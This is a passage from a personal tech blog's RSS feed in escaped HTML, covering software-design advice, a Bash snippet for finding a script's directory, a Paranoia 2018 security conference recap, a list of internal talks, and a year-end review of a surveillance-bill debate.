&lt;p&gt;Read up on &lt;a href=&quot;https://en.wikipedia.org/wiki/Software_design&quot;&gt;software design&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Software_architecture&quot;&gt;architecture&lt;/a&gt;, which can be reduced to the plans and fundamental structural choices for your system, based on identified requirements.&lt;/p&gt;
&lt;p&gt;Remember:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Simple code &gt; clever code&lt;/li&gt;
&lt;li&gt;Maintainability, stability, and reproducibility are key&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Re: Other people&lt;/h2&gt;
&lt;p&gt;I&apos;ve noticed a certain type of people (spoiler alert: they&apos;re usually arrogant white guys), that will confidently start to blabber shallowly about how they can solve the problem at hand every time there&apos;s an issue, mostly using buzz-words, trends or dogma. When probed, it quickly becomes evident that they have &lt;em&gt;definitely not&lt;/em&gt; understood the problem, the proposed solution, or generally though critically about the issue at all.&lt;/p&gt;
&lt;p&gt;You&apos;ve probably heard of the Dunning Kuger Effect – a cognitive bias that, at least in the west, is typically recognized by the inability of relatively incompetent people to recognize their own incompetence. They thus overestimate their own skill.&lt;/p&gt;
&lt;p&gt;These people are said to be on &quot;Mount Stupid&quot;, after the shape of the graph where the vertical axis represents confidence, and the horizontal axis represents Experience or Knowledge.&lt;/p&gt;
&lt;p&gt;I&apos;m not saying all low-skilled people over-estimate their abilities or vice versa, but there is a certain overlap, in my experience.&lt;/p&gt;
&lt;p&gt;Many arrogant people will, generally speaking, have no idea what they&apos;re talking about.&lt;/p&gt;
&lt;h2&gt;&quot;It&apos;s just a ride&quot;&lt;/h2&gt;
&lt;p&gt;Technology&apos;s just a means to an end, a computer is just a tool.&lt;/p&gt;
&lt;p&gt;Don&apos;t be dumb and make important technological decisions based on what&apos;s trendy, new or you&apos;d like to work with. The goal of systems design and architecture is &lt;u&gt;not&lt;/u&gt; to fluff your CV or to make sure you&apos;re having a great time – but to solve (business) problems using technology. That&apos;s it.&lt;/p&gt;
&lt;p&gt;And definitely don&apos;t make an identity out of what tools you use at work.&lt;/p&gt;
&lt;h2&gt;Preferences&lt;/h2&gt;
&lt;p&gt;Similarly, don&apos;t try to make your personal preferences mandatory for others.&lt;/p&gt;
&lt;p&gt;Though every member of a team wants the shared code base to be &quot;good&quot;, they have different opinions of what that entails. The importance of standardizing isn&apos;t necessarily in what standard you land on – indeed, the most important part is that there is &lt;em&gt;a&lt;/em&gt; standard. Just compromise on a set of rules (linting and formatting included) that everyone can live with, and revise when needed.&lt;/p&gt;
&lt;p&gt;Dogma, trends and hero-worship are, unfortunately, factors that affect technological choices more than they should.&lt;/p&gt;
&lt;h2&gt;So-crates&lt;/h2&gt;
&lt;p&gt;Learn to reason; Realize what you don&apos;t know. Be intellectually humble. That doesn&apos;t mean you should entertain obviously bad ideas or not make suggestions, but realize that most alternatives have trade-offs and that it&apos;s unlikely that anyone knows everything (especially beforehand).&lt;/p&gt;
&lt;p&gt;Bonus tip: When optimizing or comparing, you should &lt;u&gt;measure&lt;/u&gt; (though identifying good metrics is an art unto itself).&lt;/p&gt;
&lt;h2&gt;Limit WIP&lt;/h2&gt;
&lt;p&gt;Try to limit multitasking, as humans are usually &lt;em&gt;very&lt;/em&gt; bad at this; Work on as few things as possible at any one time.&lt;/p&gt;
&lt;h2&gt;Get feedback&lt;/h2&gt;
&lt;p&gt;Seek to shorten feedback loops (time between planning and evaluating the same task); work in small increments, and verify &amp;#x26; evaluate work as often as possible.&lt;/p&gt;
&lt;h2&gt;People, not processes&lt;/h2&gt;
&lt;p&gt;Finding a working process that works for you is more important than dogmatic adherence to rules.&lt;/p&gt;
&lt;p&gt;This means no meetings for the sake of having meetings (or because &quot;the rules&quot; say so) – they should be needed, and help you achieve your goals. Supportive functions are not goals in and of themselves, after all.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;That&apos;s it.&lt;/p&gt;
&lt;p&gt;Kind of a low-effort brain-dump – but hopefully useful for someone.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Getting the path to a Bash script]]></title><description><![CDATA[If you ever need to perform operations relative to the path of a shell script, the following snippet should be useful: This will give you…]]></description><link>https://eivindarvesen.com/blog/2017/04/03/getting-the-path-to-a-bash-script</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/04/03/getting-the-path-to-a-bash-script</guid><content:encoded>&lt;p&gt;If you ever need to perform operations relative to the path of a shell script, the following snippet should be useful:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token assign-left variable&quot;&gt;DIR&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;$( cd &quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;${&lt;span class=&quot;token environment constant&quot;&gt;BASH_SOURCE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;0&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;}&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;pwd&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This will give you the absolute path to the script in most cases (see &lt;a href=&quot;http://stackoverflow.com/a/246128&quot;&gt;this&lt;/a&gt; stack overflow answer for detailed information) - basically in all cases except when the last component (folder) of the path is a symlink.&lt;/p&gt;
&lt;p&gt;The code works by getting the path the current script is invoked from - which may be relative in some cases, e.g. if the script is sourced from elsewhere - from an environment variable, and getting its parent directory by feeding it to &lt;code class=&quot;language-text&quot;&gt;dirname&lt;/code&gt; in a subshell; We then &lt;code class=&quot;language-text&quot;&gt;cd&lt;/code&gt; into the value returned from this in another subshell and print the working directory.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Paranoia 2018]]></title><description><![CDATA[Yesterday and today, I was at the Paranoia 2018 conference, one of the Nordic regions largest Info Sec conferences. I got free tickets as a…]]></description><link>https://eivindarvesen.com/blog/2018/05/30/paranoia-2018</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/05/30/paranoia-2018</guid><content:encoded>&lt;p&gt;Yesterday and today, I was at the &lt;a href=&quot;https://paranoia.watchcom.no/&quot;&gt;Paranoia&lt;/a&gt; 2018 conference, one of the Nordic regions largest Info Sec conferences.&lt;/p&gt;
&lt;p&gt;I got free tickets as a consequence of qualifying to the finals of the &lt;a href=&quot;https://paranoia.cybergames.no&quot;&gt;Paranoia Challenge&lt;/a&gt;, a kind of AI-powered gamified red team/blue team training environment.&lt;/p&gt;
&lt;p&gt;As I just got home, I have yet to do a writeup of the experience of the challenge myself, but Bouvet (my employer) published a &lt;a href=&quot;https://www.bouvet.no/bouvet-deler/paranoia-challenge-2018&quot;&gt;blog post&lt;/a&gt; (Norwegian) about it yesterday.&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/LILBGhXBQzg&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Here are my favourite talks of the conference:&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Agile Security and Orchestrated Response&lt;/strong&gt;&lt;/h1&gt;
&lt;h2&gt;&lt;a href=&quot;https://paranoia.watchcom.no/speakers/bruce-schneier/&quot;&gt;Bruce Schneier&lt;/a&gt; &lt;strong&gt;-&lt;/strong&gt; &lt;em&gt;Security Guru&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c614ea6d2017f1fe5979ab0e94e0d446/9568a/IMG_4206.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 133.54430379746836%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAbABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAECAwX/xAAXAQADAQAAAAAAAAAAAAAAAAAAAgMB/9oADAMBAAIQAxAAAAHhXtOiMyqw4IsxAf/EABoQAAEFAQAAAAAAAAAAAAAAAAABAxAREiD/2gAIAQEAAQUCSNDFDi6i1L5//8QAFhEAAwAAAAAAAAAAAAAAAAAAABAR/9oACAEDAQE/ASv/xAAXEQADAQAAAAAAAAAAAAAAAAAAARAT/9oACAECAQE/ATNX/8QAGxAAAwACAwAAAAAAAAAAAAAAAAERAhIhMDH/2gAIAQEABj8CEej2V4MYop0f/8QAHRAAAwABBQEAAAAAAAAAAAAAAAERIRAgMUFhgf/aAAgBAQABPyHAdWXaqECXKFXln0UXIlKXGlu7P//aAAwDAQACAAMAAAAQiAFM/8QAFxEBAQEBAAAAAAAAAAAAAAAAEQAQIf/aAAgBAwEBPxA4znP/xAAYEQEAAwEAAAAAAAAAAAAAAAABABARMf/aAAgBAgEBPxDRQgp2/wD/xAAdEAEBAAICAwEAAAAAAAAAAAABEQAhMUEgUYGh/9oACAEBAAE/EHH3vBUIbDsyJAfuPQESCGtPvLI+CWzbEUUcg62s6yubvEVefD//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;IMG_4206&quot;
        title=&quot;&quot;
        src=&quot;/static/c614ea6d2017f1fe5979ab0e94e0d446/828fb/IMG_4206.jpg&quot;
        srcset=&quot;/static/c614ea6d2017f1fe5979ab0e94e0d446/ff44c/IMG_4206.jpg 158w,
/static/c614ea6d2017f1fe5979ab0e94e0d446/a6688/IMG_4206.jpg 315w,
/static/c614ea6d2017f1fe5979ab0e94e0d446/828fb/IMG_4206.jpg 630w,
/static/c614ea6d2017f1fe5979ab0e94e0d446/0ede0/IMG_4206.jpg 945w,
/static/c614ea6d2017f1fe5979ab0e94e0d446/3ac88/IMG_4206.jpg 1260w,
/static/c614ea6d2017f1fe5979ab0e94e0d446/9568a/IMG_4206.jpg 3024w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Security guru Bruce Schneier talked about the state of the world, touching upon (mass) surveillance, the internet of things, the increased attack surface of an increasingly connected world and what constitutes appropriate responses when faced with security issues.&lt;/p&gt;
&lt;p&gt;Bruce held a similar talk at SecTor 2017:&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/uUXV2YPLtFc&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;I also got a signed copy of his book &lt;em&gt;Data and Goliath&lt;/em&gt;!&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Ethical hacking&lt;/strong&gt;&lt;/h1&gt;
&lt;h2&gt;&lt;a href=&quot;https://paranoia.watchcom.no/speakers/fc/&quot;&gt;&lt;em&gt;FC aka. Freaky Clown&lt;/em&gt;&lt;/a&gt; - &lt;em&gt;Redacted Firm&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b48965fa1839dc0de666acebfc5a201e/9568a/IMG_4210.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 133.54430379746836%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAbABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAwACBf/EABYBAQEBAAAAAAAAAAAAAAAAAAIAA//aAAwDAQACEAMQAAAB5m8Y2CQQRKK5rNVf/8QAHhAAAQMEAwAAAAAAAAAAAAAAAgEDEgAQESAhMUH/2gAIAQEAAQUCnw0klLtsQJ2s28iun//EABcRAQADAAAAAAAAAAAAAAAAAAERIDH/2gAIAQMBAT8BCNp//8QAGhEAAQUBAAAAAAAAAAAAAAAAAQACECExUf/aAAgBAgEBPwEuJxX2f//EABsQAAEFAQEAAAAAAAAAAAAAAAEAAhARMSBR/9oACAEBAAY/AqXkU91IkZO8/wD/xAAdEAEAAgICAwAAAAAAAAAAAAABABEhMUGREFFx/9oACAEBAAE/IUaLeoiF0MwnNhBBfRB2MJlydQ3cpdmdk+Xm5//aAAwDAQACAAMAAAAQLxhy/8QAGBEAAwEBAAAAAAAAAAAAAAAAAAERIVH/2gAIAQMBAT8QRpKVcERH/8QAGBEBAQEBAQAAAAAAAAAAAAAAAQARIfH/2gAIAQIBAT8QbxBZ6Tdv/8QAHBABAAIDAQEBAAAAAAAAAAAAAQARITGBQRBx/9oACAEBAAE/EFhJfAofsUFXajL2DoW1lvbATI5szWoII3bTzy4l2SJ3Z3MFQmg12JOLd+C1yKvbP//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;IMG_4210&quot;
        title=&quot;&quot;
        src=&quot;/static/b48965fa1839dc0de666acebfc5a201e/828fb/IMG_4210.jpg&quot;
        srcset=&quot;/static/b48965fa1839dc0de666acebfc5a201e/ff44c/IMG_4210.jpg 158w,
/static/b48965fa1839dc0de666acebfc5a201e/a6688/IMG_4210.jpg 315w,
/static/b48965fa1839dc0de666acebfc5a201e/828fb/IMG_4210.jpg 630w,
/static/b48965fa1839dc0de666acebfc5a201e/0ede0/IMG_4210.jpg 945w,
/static/b48965fa1839dc0de666acebfc5a201e/3ac88/IMG_4210.jpg 1260w,
/static/b48965fa1839dc0de666acebfc5a201e/9568a/IMG_4210.jpg 3024w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This talk was mostly about Freaky Clown&apos;s dayjob, which entails breaching his clients (banks, multinational companies, etc.) - both in cyberspace and in meatspace. FC also touched upon what constitutes a good company culture with regards to security.&lt;/p&gt;
&lt;p&gt;FC gets into some of the same stuff in this Devoxx 2017 talk:&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/mDdRGlSW9Ro&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;h1&gt;&lt;strong&gt;Hacker Privilege: Securing Corporations one Dirty Look at a Time&lt;/strong&gt;&lt;/h1&gt;
&lt;h2&gt;&lt;em&gt;Pete Herzog&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/0b7883e75acd2629cf404d8a1653a61b/9568a/IMG_4217.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 133.54430379746836%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAbABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDBAX/xAAWAQEBAQAAAAAAAAAAAAAAAAACAQP/2gAMAwEAAhADEAAAAeU177DEZhRmgBMKC//EABwQAAICAgMAAAAAAAAAAAAAAAERAAIEEiAhIv/aAAgBAQABBQIA3DUcx+jke6bGOM8f/8QAGBEBAQADAAAAAAAAAAAAAAAAABEBEiH/2gAIAQMBAT8B1dTKP//EABgRAAMBAQAAAAAAAAAAAAAAAAABEgJB/9oACAECAQE/AVvhSKRR/8QAGxAAAgMAAwAAAAAAAAAAAAAAETEAARASICH/2gAIAQEABj8CFVyxRjyEmPH1/8QAHBABAAICAwEAAAAAAAAAAAAAAQARITEQQVFh/9oACAEBAAE/ITqVWYPGtdJqJ9Rl7gliGwq2B6UsDTqVsPyMt4//2gAMAwEAAgADAAAAEN8LAf/EABgRAAMBAQAAAAAAAAAAAAAAAAABESFR/9oACAEDAQE/EHmohXQQ/8QAGhEAAgIDAAAAAAAAAAAAAAAAAAERQSFxof/aAAgBAgEBPxCB4G3g20OdH//EABwQAQADAQEAAwAAAAAAAAAAAAEAESExQXGh4f/aAAgBAQABPxC43CBtofCXjXhqMWOcebgje3ZyBYXY62fWwOgHzNWlCosGgWxL5CWeP2J3ewRVWWz/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;IMG_4217&quot;
        title=&quot;&quot;
        src=&quot;/static/0b7883e75acd2629cf404d8a1653a61b/828fb/IMG_4217.jpg&quot;
        srcset=&quot;/static/0b7883e75acd2629cf404d8a1653a61b/ff44c/IMG_4217.jpg 158w,
/static/0b7883e75acd2629cf404d8a1653a61b/a6688/IMG_4217.jpg 315w,
/static/0b7883e75acd2629cf404d8a1653a61b/828fb/IMG_4217.jpg 630w,
/static/0b7883e75acd2629cf404d8a1653a61b/0ede0/IMG_4217.jpg 945w,
/static/0b7883e75acd2629cf404d8a1653a61b/3ac88/IMG_4217.jpg 1260w,
/static/0b7883e75acd2629cf404d8a1653a61b/9568a/IMG_4217.jpg 3024w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A talk about how complicated the field of security and the threats within are. No real answer to the problems he identified was given – but hey, that&apos;s just how the world is sometimes; You&apos;ve got to identify the problem before you can find a solution!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Presentation, presentation, presentation]]></title><description><![CDATA[Last week, Bouvet held its biannual internal conference-night called "Bouvet One".
Here, we listened to each other speak about things…]]></description><link>https://eivindarvesen.com/blog/2018/03/30/presentation-presentation-presentation</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/03/30/presentation-presentation-presentation</guid><content:encoded>&lt;p&gt;Last week, Bouvet held its biannual internal conference-night called &quot;Bouvet One&quot;.
Here, we listened to each other speak about things ranging from concrete experiences during projects to cultural issues like how to increase diversity within our field.&lt;/p&gt;
&lt;p&gt;I was bitten by the bug when I presented at our previous event half a year ago, after which the ball really got rolling for me with respect to presentations; and so I pitched three alternatives to our committee a couple of weeks ago - _ all of which _ were accepted.&lt;/p&gt;
&lt;p&gt;Though it was an excellent situation to learn some new things, I had my work cut out for me - I had just under two weeks to do my research and finish the three presentations, which would have to be up to 20 minutes each.
Luckily, I&apos;ve talked quite a few times about our team&apos;s development methodology before, so I had much of what I needed in this case. I&apos;ve also thought extensively about the various aspects of using webtech to make &quot;native&quot; applications before, and even submitted proposals for talks about this to several web- and JS-related conferences.
Deepfakes, however, I didn&apos;t know much about; regrettably, I haven&apos;t found much time for Machine Learning projects since last Bouvet One, where I held a &lt;a href=&quot;/blog/2017/10/23/presentation-about-transfer-learning&quot;&gt;presentation about transfer learning&lt;/a&gt; - demoing a Star Trek Humanoid classifier I trained for a couple of minutes on my laptop&apos;s CPU, achieving an accuracy between about 79 and 95 percentage.&lt;/p&gt;
&lt;p&gt;** Since I&apos;m posting a lot of slides these days, I&apos;ve decided to add an &lt;a href=&quot;/irl&quot;&gt;IRL page&lt;/a&gt; I&apos;ll update with scheduled talks and appearances, slides and videos, press, etc. **&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.20608899297424%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/DQjLSQnEkq4&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;h1&gt;The presentations&lt;/h1&gt;
&lt;p&gt;All content was presented in Norwegian.&lt;/p&gt;
&lt;h2&gt;Go f**k yourself: How deepfakes ruined everything&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;/content/pages/slides/DeepFakes-BouvetOne-March-2018.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=DQjLSQnEkq4&quot;&gt;Video&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A humourous, alarmist look at our changing relationship with the medium of video and with the truth, post &lt;a href=&quot;https://en.wikipedia.org/wiki/Deepfake&quot;&gt;deepfakes&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;LEAN-machine: Goal-based development&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;/content/pages/slides/Lean-BouvetOne-March-2018.pdf&quot;&gt;Slides&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Explanation of our &lt;a href=&quot;/blog/2017/12/05/hypothesis--and-goal-driven-development&quot;&gt;development methodology&lt;/a&gt; - which consists of pieces from Scrum, KanBan, LEAN startup and DevOps - and how it lets us verify that are changes are for the good of the product.&lt;/p&gt;
&lt;h2&gt;Electron is bad and you should feel bad&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;/content/pages/slides/Electron-BouvetOne-March-2018.pdf&quot;&gt;Slides&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A semi-humorous argument/rant about the &lt;a href=&quot;/blog/2017/09/26/a-few-thoughts-about-electron&quot;&gt;downsides of using Electron&lt;/a&gt; and related technologies, including the technical and social implications of the resulting pseudo-native applications.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[At year's end]]></title><description><![CDATA[Looking back, this year has been a pretty eventful one for me. I've met many interesting new people, learned a bunch of new stuff and pushed…]]></description><link>https://eivindarvesen.com/blog/2018/12/31/at-years-end</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/12/31/at-years-end</guid><content:encoded>&lt;p&gt;Looking back, this year has been a pretty eventful one for me.&lt;/p&gt;
&lt;p&gt;I&apos;ve met many interesting new people, learned a bunch of new stuff and pushed myself both personally and professionally.&lt;/p&gt;
&lt;p&gt;A recent &lt;a href=&quot;https://twitter.com/adamjk/status/1075078948235599872?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwgr%5E363937393b636f6e74726f6c&amp;#x26;ref_url=https%3A%2F%2Ftwitter.com%2FEivindArvesen%2Fstatus%2F1077918473609768960&quot;&gt;tweet&lt;/a&gt; from &lt;a href=&quot;https://twitter.com/adamjk&quot;&gt;Adam J. Kurtz&lt;/a&gt; made me take a quick inventory:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;1. Wrote a critique of a new surveillance bill, and got a reply from the Norwegian Defense Minister.&lt;br&gt;2. Got third place in &lt;a href=&quot;https://twitter.com/TheParanoiaConf?ref_src=twsrc%5Etfw&quot;&gt;@TheParanoiaConf&lt;/a&gt; Cyber Security Challenge.&lt;br&gt;3. Held a bunch of public talks, including on the Oslo &lt;a href=&quot;https://twitter.com/hacktoberfest?ref_src=twsrc%5Etfw&quot;&gt;@hacktoberfest&lt;/a&gt; that I hosted. &lt;a href=&quot;https://t.co/V8BlKCvgkq&quot;&gt;https://t.co/V8BlKCvgkq&lt;/a&gt;&lt;/p&gt;&amp;mdash; Eivind Arvesen (@EivindArvesen) &lt;a href=&quot;https://twitter.com/EivindArvesen/status/1077918473609768960?ref_src=twsrc%5Etfw&quot;&gt;December 26, 2018&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;p&gt;A lot has happened – both personally and professionally – and I&apos;ll just write a few words to sum some of it up here.&lt;/p&gt;
&lt;h2&gt;1. Wrote a critique of a new surveillance bill&lt;br /&gt;&lt;small&gt;and got a reply from the Norwegian Defense Minister&lt;/small&gt;&lt;/h2&gt;
&lt;p&gt;I wrote a piece (&lt;a href=&quot;https://www.digi.no/artikler/debatt-digitalt-grensebesvaer/452183&quot;&gt;original Norwegian&lt;/a&gt;, &lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.digi.no%2Fartikler%2Fdebatt-digitalt-grensebesvaer%2F452183&quot;&gt;English Google Translation&lt;/a&gt;) critiquing a new mass surveillance bill, and the fact that there&apos;s no political debate surrounding it.&lt;/p&gt;
&lt;p&gt;I got a response (&lt;a href=&quot;https://www.digi.no/artikler/kommentar-masseovervakning-truer-ytringsfriheten/452576&quot;&gt;original Norwegian&lt;/a&gt;, &lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.digi.no%2Fartikler%2Fkommentar-masseovervakning-truer-ytringsfriheten%2F452576&quot;&gt;English Google Translation&lt;/a&gt;) from Grunde Almeland (of the Liberal Party), as well as a response (&lt;a href=&quot;https://www.digi.no/artikler/kommentar-balansegangen-mellom-samfunnssikkerhet-og-privatliv/453496&quot;&gt;original Norwegian&lt;/a&gt;, &lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.digi.no%2Fartikler%2Fkommentar-balansegangen-mellom-samfunnssikkerhet-og-privatliv%2F453496&quot;&gt;English Google Translation&lt;/a&gt;) the Norwegian Defense Minister Frank Bakke-Jensen.&lt;/p&gt;
&lt;p&gt;I then posted a critique (&lt;a href=&quot;https://www.digi.no/artikler/debatt-ubalanse-mellom-sikkerhetsillusjoner-og-personvern/454439&quot;&gt;original Norwegian&lt;/a&gt;, &lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.digi.no%2Fartikler%2Fdebatt-ubalanse-mellom-sikkerhetsillusjoner-og-personvern%2F454439&quot;&gt;English Google Translation&lt;/a&gt;) of the government handling of the issue, and the Defense Minister&apos;s lack of arguments.&lt;/p&gt;
&lt;h2&gt;2. Got third place in the Paranoia Cyber Security Challenge&lt;/h2&gt;
